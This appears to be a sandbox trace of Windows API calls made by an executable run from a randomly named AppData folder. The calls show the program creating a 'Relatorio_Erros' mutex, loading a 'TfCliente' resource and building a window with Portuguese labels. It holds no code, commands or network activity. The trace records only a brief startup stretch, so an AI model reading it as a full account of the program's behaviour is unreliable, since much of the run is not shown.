	[0107.187] LoadStringBaseExW () returned 0x13
	[0107.188] WCSToMBEx () returned 0x13
	[0107.188] LoadStringBaseExW () returned 0x1b
	[0107.188] WCSToMBEx () returned 0x1b
	[0107.188] LoadStringBaseExW () returned 0x16
	[0107.188] WCSToMBEx () returned 0x16
	[0107.188] LoadStringBaseExW () returned 0x5f
	[0107.188] WCSToMBEx () returned 0x5f
	[0107.189] LoadStringBaseExW () returned 0x38
	[0107.189] WCSToMBEx () returned 0x38
	[0107.189] LoadStringBaseExW () returned 0x19
	[0107.189] WCSToMBEx () returned 0x19
	[0107.189] LoadStringBaseExW () returned 0x2d
	[0107.189] WCSToMBEx () returned 0x2d
	[0107.190] LoadStringBaseExW () returned 0x31
	[0107.190] WCSToMBEx () returned 0x31
	[0107.190] LoadStringBaseExW () returned 0x1b
	[0107.190] WCSToMBEx () returned 0x1b
	[0107.190] LoadStringBaseExW () returned 0xa
	[0107.190] WCSToMBEx () returned 0xa
	[0107.190] LoadStringBaseExW () returned 0x16
	[0107.190] WCSToMBEx () returned 0x16
	[0107.191] LoadStringBaseExW () returned 0x21
	[0107.191] WCSToMBEx () returned 0x21
	[0107.191] LoadStringBaseExW () returned 0xe
	[0107.191] WCSToMBEx () returned 0xe
	[0107.191] LoadStringBaseExW () returned 0x26
	[0107.191] WCSToMBEx () returned 0x26
	[0107.192] LoadStringBaseExW () returned 0x2d
	[0107.192] WCSToMBEx () returned 0x2d
	[0107.192] LoadStringBaseExW () returned 0x20
	[0107.192] WCSToMBEx () returned 0x20
	[0107.192] LoadStringBaseExW () returned 0x25
	[0107.193] WCSToMBEx () returned 0x25
	[0107.193] LoadStringBaseExW () returned 0x2d
	[0107.193] WCSToMBEx () returned 0x2d
	[0107.193] LoadStringBaseExW () returned 0x10
	[0107.193] WCSToMBEx () returned 0x10
	[0107.193] LoadStringBaseExW () returned 0x14
	[0107.193] WCSToMBEx () returned 0x14
	[0107.194] LoadStringBaseExW () returned 0x17
	[0107.194] WCSToMBEx () returned 0x17
	[0107.194] LoadStringBaseExW () returned 0x17
	[0107.194] WCSToMBEx () returned 0x17
	[0107.194] LoadStringBaseExW () returned 0x33
	[0107.194] WCSToMBEx () returned 0x33
	[0107.194] LoadStringBaseExW () returned 0xb
	[0107.195] WCSToMBEx () returned 0xb
	[0107.195] LoadStringBaseExW () returned 0x1d
	[0107.195] WCSToMBEx () returned 0x1d
	[0107.195] LoadStringBaseExW () returned 0x1a
	[0107.195] WCSToMBEx () returned 0x1a
	[0107.195] LoadStringBaseExW () returned 0x21
	[0107.195] WCSToMBEx () returned 0x21
	[0107.196] LoadStringBaseExW () returned 0x17
	[0107.196] WCSToMBEx () returned 0x17
	[0107.196] LoadStringBaseExW () returned 0x37
	[0107.196] WCSToMBEx () returned 0x37
	[0107.196] LoadStringBaseExW () returned 0x34
	[0107.196] WCSToMBEx () returned 0x34
	[0107.196] LoadStringBaseExW () returned 0x1a
	[0107.197] WCSToMBEx () returned 0x1a
	[0107.197] LoadStringBaseExW () returned 0xe
	[0107.197] WCSToMBEx () returned 0xe
	[0107.197] LoadStringBaseExW () returned 0xc
	[0107.197] WCSToMBEx () returned 0xc
	[0107.197] LoadStringBaseExW () returned 0xc
	[0107.197] WCSToMBEx () returned 0xc
	[0107.198] LoadStringBaseExW () returned 0xa
	[0107.198] WCSToMBEx () returned 0xa
	[0107.198] LoadStringBaseExW () returned 0x18
	[0107.198] WCSToMBEx () returned 0x18
	[0107.198] LoadStringBaseExW () returned 0x11
	[0107.198] WCSToMBEx () returned 0x11
	[0107.198] LoadStringBaseExW () returned 0xb
	[0107.198] WCSToMBEx () returned 0xb
	[0107.199] LoadStringBaseExW () returned 0x1f
	[0107.199] WCSToMBEx () returned 0x1f
	[0107.199] LoadStringBaseExW () returned 0x19
	[0107.199] WCSToMBEx () returned 0x19
	[0107.199] LoadStringBaseExW () returned 0x18
	[0107.199] WCSToMBEx () returned 0x18
	[0107.200] LoadStringBaseExW () returned 0x15
	[0107.200] WCSToMBEx () returned 0x15
	[0107.200] LoadStringBaseExW () returned 0x3e
	[0107.200] WCSToMBEx () returned 0x3e
	[0107.200] LoadStringBaseExW () returned 0x17
	[0107.200] WCSToMBEx () returned 0x17
	[0107.200] LoadStringBaseExW () returned 0x30
	[0107.200] WCSToMBEx () returned 0x30
	[0107.201] LoadStringBaseExW () returned 0x21
	[0107.201] WCSToMBEx () returned 0x21
	[0107.201] LoadStringBaseExW () returned 0x15
	[0107.201] WCSToMBEx () returned 0x15
	[0107.201] LoadStringBaseExW () returned 0x19
	[0107.201] WCSToMBEx () returned 0x19
	[0107.201] LoadStringBaseExW () returned 0x18
	[0107.202] WCSToMBEx () returned 0x18
	[0107.202] LoadStringBaseExW () returned 0x30
	[0107.202] WCSToMBEx () returned 0x30
	[0107.202] LoadStringBaseExW () returned 0x2a
	[0107.202] WCSToMBEx () returned 0x2a
	[0107.202] LoadStringBaseExW () returned 0x1c
	[0107.202] WCSToMBEx () returned 0x1c
	[0107.203] LoadStringBaseExW () returned 0x28
	[0107.203] WCSToMBEx () returned 0x28
	[0107.203] LoadStringBaseExW () returned 0x1c
	[0107.203] WCSToMBEx () returned 0x1c
	[0107.203] LoadStringBaseExW () returned 0x28
	[0107.203] WCSToMBEx () returned 0x28
	[0107.203] LoadStringBaseExW () returned 0x25
	[0107.203] WCSToMBEx () returned 0x25
	[0107.204] LoadStringBaseExW () returned 0x16
	[0107.204] WCSToMBEx () returned 0x16
	[0107.204] LoadStringBaseExW () returned 0x13
	[0107.204] WCSToMBEx () returned 0x13
	[0107.204] LoadStringBaseExW () returned 0x1d
	[0107.204] WCSToMBEx () returned 0x1d
	[0107.204] LoadStringBaseExW () returned 0x1b
	[0107.205] WCSToMBEx () returned 0x1b
	[0107.205] LoadStringBaseExW () returned 0xd
	[0107.205] WCSToMBEx () returned 0xd
	[0107.205] LoadStringBaseExW () returned 0x13
	[0107.205] WCSToMBEx () returned 0x13
	[0107.206] LoadStringBaseExW () returned 0x55
	[0107.206] WCSToMBEx () returned 0x55
	[0107.206] LoadStringBaseExW () returned 0x6f
	[0107.206] WCSToMBEx () returned 0x6f
	[0107.206] LoadStringBaseExW () returned 0x65
	[0107.206] WCSToMBEx () returned 0x65
	[0107.207] LoadStringBaseExW () returned 0xd
	[0107.207] WCSToMBEx () returned 0xd
	[0107.207] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x7213890 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25
	[0107.207] LoadStringBaseExW () returned 0x2
	[0107.207] WCSToMBEx () returned 0x2
	[0107.208] LoadStringBaseExW () returned 0x2
	[0107.208] WCSToMBEx () returned 0x2
	[0107.208] LoadStringBaseExW () returned 0x2
	[0107.208] WCSToMBEx () returned 0x2
	[0107.208] LoadStringBaseExW () returned 0x2
	[0107.208] WCSToMBEx () returned 0x2
	[0107.208] LoadStringBaseExW () returned 0xd
	[0107.208] WCSToMBEx () returned 0xd
	[0107.209] LoadStringBaseExW () returned 0xe
	[0107.209] WCSToMBEx () returned 0xe
	[0107.209] LoadStringBaseExW () returned 0xa
	[0107.209] WCSToMBEx () returned 0xa
	[0107.209] LoadStringBaseExW () returned 0x11
	[0107.209] WCSToMBEx () returned 0x11
	[0107.210] LoadStringBaseExW () returned 0x16
	[0107.210] WCSToMBEx () returned 0x16
	[0107.210] NtUserGetDC () returned 0xa010691
	[0107.210] GetDeviceCaps (hdc=0xa010691, index=12) returned 32
	[0107.210] GetDeviceCaps (hdc=0xa010691, index=14) returned 1
	[0107.210] GdiReleaseDC () returned 0x1
	[0107.210] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.210] LoadStringBaseExW () returned 0xf
	[0107.210] WCSToMBEx () returned 0xf
	[0107.211] LoadStringBaseExW () returned 0x9
	[0107.211] WCSToMBEx () returned 0x9
	[0107.211] CharLowerBuffA (in: lpsz="wmf", cchLength=0x3 | out: lpsz="wmf") returned 0x3
	[0107.211] LoadStringBaseExW () returned 0x12
	[0107.211] WCSToMBEx () returned 0x12
	[0107.211] CharLowerBuffA (in: lpsz="emf", cchLength=0x3 | out: lpsz="emf") returned 0x3
	[0107.211] LoadStringBaseExW () returned 0x5
	[0107.212] WCSToMBEx () returned 0x5
	[0107.212] CharLowerBuffA (in: lpsz="ico", cchLength=0x3 | out: lpsz="ico") returned 0x3
	[0107.212] LoadStringBaseExW () returned 0x7
	[0107.212] WCSToMBEx () returned 0x7
	[0107.212] CharLowerBuffA (in: lpsz="bmp", cchLength=0x3 | out: lpsz="bmp") returned 0x3
	[0107.212] CharLowerBuffA (in: lpsz="jpeg", cchLength=0x4 | out: lpsz="jpeg") returned 0x4
	[0107.213] LoadStringBaseExW () returned 0xf
	[0107.213] WCSToMBEx () returned 0xf
	[0107.213] CharLowerBuffA (in: lpsz="jpg", cchLength=0x3 | out: lpsz="jpg") returned 0x3
	[0107.213] RtlCaptureAnsiString () returned 0x1
	[0107.213] NtUserRegisterWindowMessage () returned 0xc164
	[0107.215] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19fcc4, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0107.215] InternalDdeCreateStringHandle () returned 0xc000
	[0107.216] ValidateInstance () returned 0x24cf00
	[0107.217] SetErrorMode (uMode=0x8000) returned 0x0
	[0107.217] LoadLibraryA (lpLibFileName="olepro32.dll") returned 0x74820000
	[0107.320] SetErrorMode (uMode=0x0) returned 0x8000
	[0107.320] GetProcAddressForCaller () returned 0x74822320
	[0107.320] GetProcAddressForCaller () returned 0x74822240
	[0107.320] GetProcAddressForCaller () returned 0x74822280
	[0107.320] GetProcAddressForCaller () returned 0x748222d0
	[0107.321] LoadStringBaseExW () returned 0x9
	[0107.321] WCSToMBEx () returned 0x9
	[0107.322] CharLowerBuffA (in: lpsz="GIF", cchLength=0x3 | out: lpsz="gif") returned 0x3
	[0107.322] LoadStringBaseExW () returned 0x9
	[0107.322] WCSToMBEx () returned 0x9
	[0107.322] RtlCaptureAnsiString () returned 0x1
	[0107.322] NtUserRegisterWindowMessage () returned 0xc163
	[0107.322] NtUserGetDC () returned 0xa010691
	[0107.322] GetDeviceCaps (hdc=0xa010691, index=12) returned 32
	[0107.322] GetDeviceCaps (hdc=0xa010691, index=14) returned 1
	[0107.322] GdiReleaseDC () returned 0x1
	[0107.322] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.322] OleInitialize (pvReserved=0x0) returned 0x0
	[0107.324] Basep8BitStringToDynamicUnicodeString () returned 0x1
	[0107.325] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="Relatorio_Erros") returned 0x0
	[0107.325] RtlFreeAnsiString (AnsiString="R") 
	[0107.325] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Relatorio_Erros") returned 0x2c8
	[0107.325] CoInitialize (pvReserved=0x0) returned 0x1
	[0107.325] @ValidateHwnd@4 () returned 0x242cbe0
	[0107.325] TestWindowProcess () returned 0x1
	[0107.325] SendMessageWorker () returned 0x1
	[0107.325] VirtualAlloc (lpAddress=0x7214000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7214000
	[0107.326] GetCurrentThreadId () returned 0xd04
	[0107.326] ResetEvent (hEvent=0x29c) returned 1
	[0107.326] GetCurrentThreadId () returned 0xd04
	[0107.326] GetCurrentThreadId () returned 0xd04
	[0107.326] GetCurrentThreadId () returned 0xd04
	[0107.326] ResetEvent (hEvent=0x29c) returned 1
	[0107.326] __SEH_prolog4_GS () returned 0x19fbfc
	[0107.326] IsInsideUserApiHook () returned 0x1
	[0107.326] _BeginIfHookedUserApiHook () returned 0x1
	[0107.327] __SEH_epilog4_GS () returned 0x1
	[0107.327] __SEH_prolog4_GS () returned 0x19fbfc
	[0107.327] IsInsideUserApiHook () returned 0x1
	[0107.327] _BeginIfHookedUserApiHook () returned 0x1
	[0107.327] __SEH_epilog4_GS () returned 0x1
	[0107.327] GetSystemMetrics (nIndex=49) returned 16
	[0107.327] GetSystemMetrics (nIndex=50) returned 16
	[0107.327] __SEH_prolog4_GS () returned 0x19fc44
	[0107.327] IsInsideUserApiHook () returned 0x1
	[0107.327] _BeginIfHookedUserApiHook () returned 0x1
	[0107.327] __SEH_epilog4_GS () returned 0x1
	[0107.328] GetCurrentThreadId () returned 0xd04
	[0107.328] VirtualQuery (in: lpAddress=0x4f8b3c, lpBuffer=0x19fb4c, dwLength=0x1c | out: lpBuffer=0x19fb4c*(BaseAddress=0x4f8000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x30000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c
	[0107.328] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfCliente", wLanguage=0x0) returned 0x529d00
	[0107.328] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfCliente", wLanguage=0x0) returned 0x529d00
	[0107.328] LoadResource (hModule=0x400000, hResInfo=0x529d00) returned 0xcd640c
	[0107.328] SizeofResource (hModule=0x400000, hResInfo=0x529d00) returned 0xe1f
	[0107.328] LockResource (hResData=0xcd640c) returned 0xcd640c
	[0107.328] GetCurrentThreadId () returned 0xd04
	[0107.329] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.329] IsInsideUserApiHook () returned 0x1
	[0107.329] _BeginIfHookedUserApiHook () returned 0x1
	[0107.329] __SEH_epilog4_GS () returned 0x1
	[0107.329] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.329] IsInsideUserApiHook () returned 0x1
	[0107.329] _BeginIfHookedUserApiHook () returned 0x1
	[0107.329] __SEH_epilog4_GS () returned 0x1
	[0107.329] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.329] IsInsideUserApiHook () returned 0x1
	[0107.329] _BeginIfHookedUserApiHook () returned 0x1
	[0107.329] __SEH_epilog4_GS () returned 0x1
	[0107.329] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.329] IsInsideUserApiHook () returned 0x1
	[0107.329] _BeginIfHookedUserApiHook () returned 0x1
	[0107.330] __SEH_epilog4_GS () returned 0x1
	[0107.330] LoadLibraryA (lpLibFileName="uxtheme.dll") returned 0x74bc0000
	[0107.331] GetProcAddressForCaller () returned 0x74be5410
	[0107.331] GetProcAddressForCaller () returned 0x74be4790
	[0107.331] GetProcAddressForCaller () returned 0x74bf0980
	[0107.331] GetProcAddressForCaller () returned 0x74bf23c0
	[0107.331] GetProcAddressForCaller () returned 0x74bf0400
	[0107.331] GetProcAddressForCaller () returned 0x74bf0400
	[0107.331] GetProcAddressForCaller () returned 0x74bf0740
	[0107.331] GetProcAddressForCaller () returned 0x74bf67f0
	[0107.331] GetProcAddressForCaller () returned 0x74bf7e40
	[0107.331] GetProcAddressForCaller () returned 0x74bf4620
	[0107.331] GetProcAddressForCaller () returned 0x74c1a630
	[0107.331] GetProcAddressForCaller () returned 0x74c19210
	[0107.331] GetProcAddressForCaller () returned 0x74c192b0
	[0107.331] GetProcAddressForCaller () returned 0x74bf2470
	[0107.331] GetProcAddressForCaller () returned 0x74bf02d0
	[0107.331] GetProcAddressForCaller () returned 0x74bf5480
	[0107.331] GetProcAddressForCaller () returned 0x74c19ea0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a030
	[0107.331] GetProcAddressForCaller () returned 0x74bf94d0
	[0107.331] GetProcAddressForCaller () returned 0x74bf4f50
	[0107.331] GetProcAddressForCaller () returned 0x74bf4e90
	[0107.331] GetProcAddressForCaller () returned 0x74bf88e0
	[0107.331] GetProcAddressForCaller () returned 0x74bf7ed0
	[0107.331] GetProcAddressForCaller () returned 0x74c19f50
	[0107.331] GetProcAddressForCaller () returned 0x74bf4960
	[0107.331] GetProcAddressForCaller () returned 0x74c19e30
	[0107.331] GetProcAddressForCaller () returned 0x74bf0190
	[0107.331] GetProcAddressForCaller () returned 0x74bf7f60
	[0107.331] GetProcAddressForCaller () returned 0x74c19dc0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a140
	[0107.331] GetProcAddressForCaller () returned 0x74c1a1e0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a0a0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a490
	[0107.331] GetProcAddressForCaller () returned 0x74c1a280
	[0107.331] GetProcAddressForCaller () returned 0x74c1a520
	[0107.331] GetProcAddressForCaller () returned 0x74c1a410
	[0107.331] GetProcAddressForCaller () returned 0x74bf4900
	[0107.331] GetProcAddressForCaller () returned 0x74bf4ab0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a5c0
	[0107.331] GetProcAddressForCaller () returned 0x74bf77c0
	[0107.331] GetProcAddressForCaller () returned 0x74c1a7e0
	[0107.331] GetProcAddressForCaller () returned 0x74bf8e10
	[0107.331] GetProcAddressForCaller () returned 0x74c1abf0
	[0107.331] GetProcAddressForCaller () returned 0x74bf8b10
	[0107.331] GetProcAddressForCaller () returned 0x74c19d30
	[0107.332] GetProcAddressForCaller () returned 0x74bf7850
	[0107.332] GetProcAddressForCaller () returned 0x74c195a0
	[0107.332] GetFileVersionInfoSizeA (in: lptstrFilename="comctl32.dll", lpdwHandle=0x19f940 | out: lpdwHandle=0x19f940) returned 0x734
	[0107.369] GetFileVersionInfoA (in: lptstrFilename="comctl32.dll", dwHandle=0x0, dwLen=0x734, lpData=0x7215c7c | out: lpData=0x7215c7c) returned 1
	[0107.370] VerQueryValueA (in: pBlock=0x7215c7c, lpSubBlock="\\", lplpBuffer=0x19f938, puLen=0x19f934 | out: lplpBuffer=0x19f938*=0x7215ca4, puLen=0x19f934) returned 1
	[0107.370] IsAppThemed () returned 0x1
	[0107.370] IsThemeActive () returned 0x1
	[0107.370] SysReAllocStringLen (in: pbstr=0x19f8d4*=0x0, psz="Identificação:", len=0xe | out: pbstr=0x19f8d4*="Identificação:") returned 1
	[0107.370] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Identificação:", cchWideChar=14, lpMultiByteStr=0x19e8ac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identificação:", lpUsedDefaultChar=0x0) returned 14
	[0107.371] NtUserGetDC () returned 0xa010691
	[0107.371] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f8f8 | out: lptm=0x19f8f8) returned 1
	[0107.371] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="MS Sans Serif", cchCount1=13, lpString2="Default", cchCount2=7) returned 3
	[0107.371] CreateFontIndirectA (lplf=0x19f8b0) returned 0x210a0658
	[0107.371] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.371] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f930 | out: lptm=0x19f930) returned 1
	[0107.386] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.386] GdiReleaseDC () returned 0x1
	[0107.386] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.386] __SEH_prolog4_GS () returned 0x19f8dc
	[0107.386] NtUserGetDC () returned 0xa010691
	[0107.386] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f5fc | out: lptm=0x19f5fc) returned 1
	[0107.386] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.386] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f634 | out: lptm=0x19f634) returned 1
	[0107.386] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.386] GdiReleaseDC () returned 0x1
	[0107.386] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.386] __SEH_prolog4_GS () returned 0x19f5e0
	[0107.386] NtUserGetDC () returned 0xa010691
	[0107.386] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f8f8 | out: lptm=0x19f8f8) returned 1
	[0107.386] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f930 | out: lptm=0x19f930) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.387] GdiReleaseDC () returned 0x1
	[0107.387] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.387] __SEH_prolog4_GS () returned 0x19f8dc
	[0107.387] NtUserGetDC () returned 0xa010691
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f5fc | out: lptm=0x19f5fc) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f634 | out: lptm=0x19f634) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.387] GdiReleaseDC () returned 0x1
	[0107.387] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.387] __SEH_prolog4_GS () returned 0x19f5e0
	[0107.387] NtUserGetDC () returned 0xa010691
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f8f8 | out: lptm=0x19f8f8) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f930 | out: lptm=0x19f930) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.387] GdiReleaseDC () returned 0x1
	[0107.387] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.387] __SEH_prolog4_GS () returned 0x19f8dc
	[0107.387] NtUserGetDC () returned 0xa010691
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f5fc | out: lptm=0x19f5fc) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x210a0658) returned 0x18a0048
	[0107.387] GetTextMetricsA (in: hdc=0xa010691, lptm=0x19f634 | out: lptm=0x19f634) returned 1
	[0107.387] SelectObject (hdc=0xa010691, h=0x18a0048) returned 0x210a0658
	[0107.387] GdiReleaseDC () returned 0x1
	[0107.387] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0107.387] __SEH_prolog4_GS () returned 0x19f5e0
	[0107.388] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0107.388] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TfCliente", lpwcx=0x19f6f0 | out: lpwcx=0x19f6f0) returned 0
	[0107.388] _memset (in: _Dst=0x19f6fc, _Val=0, _Size=0x2c | out: _Dst=0x19f6fc) returned 0x19f6fc
	[0107.388] RegisterClassExWOWA () returned 0xc162
	[0107.388] CreateWindowInternal () 
	[0107.388] _SetWindowLong () returned 0x449074
	[0107.389] @ValidateHwnd@4 () returned 0x2423490
	[0107.389] _GetWindowLong () returned 0x6cf0000
	[0107.389] __SEH_epilog4 () returned 0x6cf0000
	[0107.389] NtUserSetProp () returned 0x1
	[0107.389] NtUserSetProp () returned 0x1
	[0107.390] NtUserSetMenu () 
	[0107.393] __SEH_prolog4_GS () returned 0x19e9d0
	[0107.393] @ValidateHwnd@4 () returned 0x2423490
	[0107.393] _GetWindowRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.393] @ValidateHwnd@4 () returned 0x2423490
	[0107.393] _GetWindowLong () returned 0x6cf0000
	[0107.393] __SEH_epilog4 () returned 0x6cf0000
	[0107.393] __SEH_prolog4_GS () returned 0x19e414
	[0107.393] @ValidateHwnd@4 () returned 0x2423490
	[0107.394] _GetWindowRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.394] @ValidateHwnd@4 () returned 0x2423490
	[0107.394] _GetWindowLong () returned 0x6cf0000
	[0107.394] __SEH_epilog4 () returned 0x6cf0000
	[0107.394] __SEH_prolog4_GS () returned 0x19e3f4
	[0107.394] @ValidateHwnd@4 () returned 0x2423490
	[0107.394] _GetWindowRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.394] @ValidateHwnd@4 () returned 0x2423490
	[0107.394] _GetWindowLong () returned 0x6cf0000
	[0107.394] __SEH_epilog4 () returned 0x6cf0000
	[0107.394] __SEH_prolog4_GS () returned 0x19e408
	[0107.394] IsInsideUserApiHook () returned 0x1
	[0107.394] _BeginIfHookedUserApiHook () returned 0x1
	[0107.395] __SEH_epilog4_GS () returned 0x1
	[0107.395] @ValidateHwnd@4 () returned 0x2423490
	[0107.395] _GetWindowLong () returned 0x6cf0000
	[0107.395] __SEH_epilog4 () returned 0x6cf0000
	[0107.395] @ValidateHwnd@4 () returned 0x2423490
	[0107.395] _GetWindowLong () returned 0x6cf0000
	[0107.395] __SEH_epilog4 () returned 0x6cf0000
	[0107.395] @ValidateHwnd@4 () returned 0x2423490
	[0107.395] _GetWindowLong () returned 0x6cf0000
	[0107.395] __SEH_epilog4 () returned 0x6cf0000
	[0107.395] @ValidateHwnd@4 () returned 0x2423490
	[0107.395] _GetWindowLong () returned 0x6cf0000
	[0107.395] __SEH_epilog4 () returned 0x6cf0000
	[0107.396] @ValidateHwnd@4 () returned 0x2423490
	[0107.396] _GetWindowLong () returned 0x6cf0000
	[0107.396] __SEH_epilog4 () returned 0x6cf0000
	[0107.396] @ValidateHwnd@4 () returned 0x2423490
	[0107.396] _GetWindowLong () returned 0x6cf0000
	[0107.396] __SEH_epilog4 () returned 0x6cf0000
	[0107.396] @ValidateHwnd@4 () returned 0x2423490
	[0107.397] _GetWindowLong () returned 0x6cf0000
	[0107.397] __SEH_epilog4 () returned 0x6cf0000
	[0107.397] @ValidateHwnd@4 () returned 0x2423490
	[0107.397] _GetWindowLong () returned 0x6cf0000
	[0107.397] __SEH_epilog4 () returned 0x6cf0000
	[0107.398] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=1) returned 0
	[0107.398] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.398] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19e436, fRedraw=1) 
	[0107.419] @ValidateHwnd@4 () returned 0x2423490
	[0107.419] _GetWindowLong () returned 0x6cf0000
	[0107.419] __SEH_epilog4 () returned 0x6cf0000
	[0107.420] @ValidateHwnd@4 () returned 0x2423490
	[0107.420] _GetWindowLong () returned 0x6cf0000
	[0107.420] __SEH_epilog4 () returned 0x6cf0000
	[0107.420] @ValidateHwnd@4 () returned 0x2423490
	[0107.420] _GetWindowLong () returned 0x6cf0000
	[0107.420] __SEH_epilog4 () returned 0x6cf0000
	[0107.421] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=1) returned 0
	[0107.421] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.421] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19e436, fRedraw=1) returned 0
	[0107.422] @ValidateHwnd@4 () returned 0x2423490
	[0107.422] _GetWindowLong () returned 0x6cf0000
	[0107.422] __SEH_epilog4 () returned 0x6cf0000
	[0107.428] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=0) returned 0
	[0107.428] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.428] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19f7d2, fRedraw=1) returned 0
	[0107.430] @ValidateHwnd@4 () returned 0x2423490
	[0107.430] _GetWindowLong () returned 0x6cf0000
	[0107.430] __SEH_epilog4 () returned 0x6cf0000
	[0107.430] @HMValidateHandle@8 () returned 0x2423490
	[0107.430] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.430] @ValidateHwnd@4 () returned 0x2423490
	[0107.430] _GetWindowLong () returned 0x6cf0000
	[0107.430] __SEH_epilog4 () returned 0x6cf0000
	[0107.430] @HMValidateHandle@8 () returned 0x2423490
	[0107.431] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.431] @ValidateHwnd@4 () returned 0x2423490
	[0107.431] _GetWindowLong () returned 0x6cf0000
	[0107.431] __SEH_epilog4 () returned 0x6cf0000
	[0107.431] @HMValidateHandle@8 () returned 0x2423490
	[0107.431] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.431] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=0) returned 0
	[0107.431] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.431] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19f7d2, fRedraw=1) returned 0
	[0107.432] @ValidateHwnd@4 () returned 0x2423490
	[0107.432] _GetWindowLong () returned 0x6cf0000
	[0107.432] __SEH_epilog4 () returned 0x6cf0000
	[0107.432] @HMValidateHandle@8 () returned 0x2423490
	[0107.432] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.433] @ValidateHwnd@4 () returned 0x2423490
	[0107.433] SendMessageWorker () 
	[0107.435] VirtualAlloc (lpAddress=0x7218000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7218000
	[0107.436] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f8f8 | out: lptm=0x19f8f8) returned 1
